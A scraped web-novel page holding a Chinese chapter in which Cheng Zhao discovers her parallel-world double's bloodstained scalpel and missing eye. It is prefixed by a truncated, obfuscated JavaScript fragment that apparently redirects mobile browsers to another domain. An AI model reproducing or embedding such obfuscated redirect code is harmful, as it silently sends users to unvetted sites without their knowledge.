l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633965|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去点红色的个人信息,不知道是晚上没吃饭饿的还是什么,手抖得厉害,点了好几次,都没点中。 最后是左手按着右手腕,食指才勉强选中了那个红色的小圈。 个人界面显示出数行字符: 【姓名】程昭 【工号】1199 【业务量】132 【积分】2110384 程昭数了数,七位数,不是几十万,是几百万积分呢。 她得告诉蒋裕,程昭比他以为的还要厉害。 这么厉害的程昭,为什么眼球留在了重叠域里? 是谁挖的? 程昭现在在哪里? 她还活着吗? …… 程昭觉得自己脑子快要炸了。 她本来想当然地以为,自己跟“程昭”是置换关系,在某一次意外的时空交汇时,她跟平行世界的自己对调了,自己来到了这个泡世界,而“程昭”则去了自己的世界生活。 可笑,她还偷偷想过,自己来到这个危险又负债的泡世界是亏了,“程昭”能去自己那个安稳的世界继承为数不多但好歹正数的财产是赚大发了。 她很难说服自己,“程昭”只是失去了一只眼睛,人还好好的。 她点开其他界面,迫切地想找到别的线索。 工作界面里没有任务,急救箱倒是绑定了。 程昭把急救箱从手环中取了出来。 这是个普通的急救箱,银白色的外观,磨砂手感,质感很好。 程昭把手放在侧边卡扣上时,发现自己的拇指沾上了一点红色。 急救箱上盖弹开。 “程昭”的急救箱比蒋裕的更空,只有一把手术刀孤零零地躺在箱子中央。 这把手术刀的刀片和刀柄是一体的,不是普通手术室里那种需要自己装刀片的类型。 刚才手沾上红色时,程昭极力告诉自己,那只是红色颜料。但看到刀刃锋利边缘上的红色时,她再也无法催眠自己说那不是血迹。 那就是已经干涸的血迹,和箱体卡扣上的一模一样。 程昭大脑宕机了。她维持着打开急救箱的姿势,在床上硬生生坐了半小时,一动不动。 慢慢回神后,脑海里的第一个想法,不是探究,而是逃避。 生物的本能带给她强烈的危机感,追查下去很可能会让自己陷入万劫不复的境地。 装作不知道,然后想方设法回到自己原本的世界,这才是最安全的方式。 她本来就是一条躺平的咸鱼,没道理卷入这些血腥甚至可能危及生命的事件中去。 程昭把滚落到床尾的玻璃球捡起,轻柔地放进急救箱里。合上盖子,扣好箱子的卡扣。 她把急救箱收进了手环中,然后重新登陆“点击开始救死扶伤”。 用的是她自己的眼睛虹膜。 打开“程昭”的急救箱需要她的眼睛,而拿到眼睛,需要打开急救箱。 完美的闭环,程昭觉得自己简直是个天才。 她钻进被窝里,双手交叠放在小腹上,安详地闭上了眼睛。 明天醒来,就是一个普普通通的休息日了。 对吧?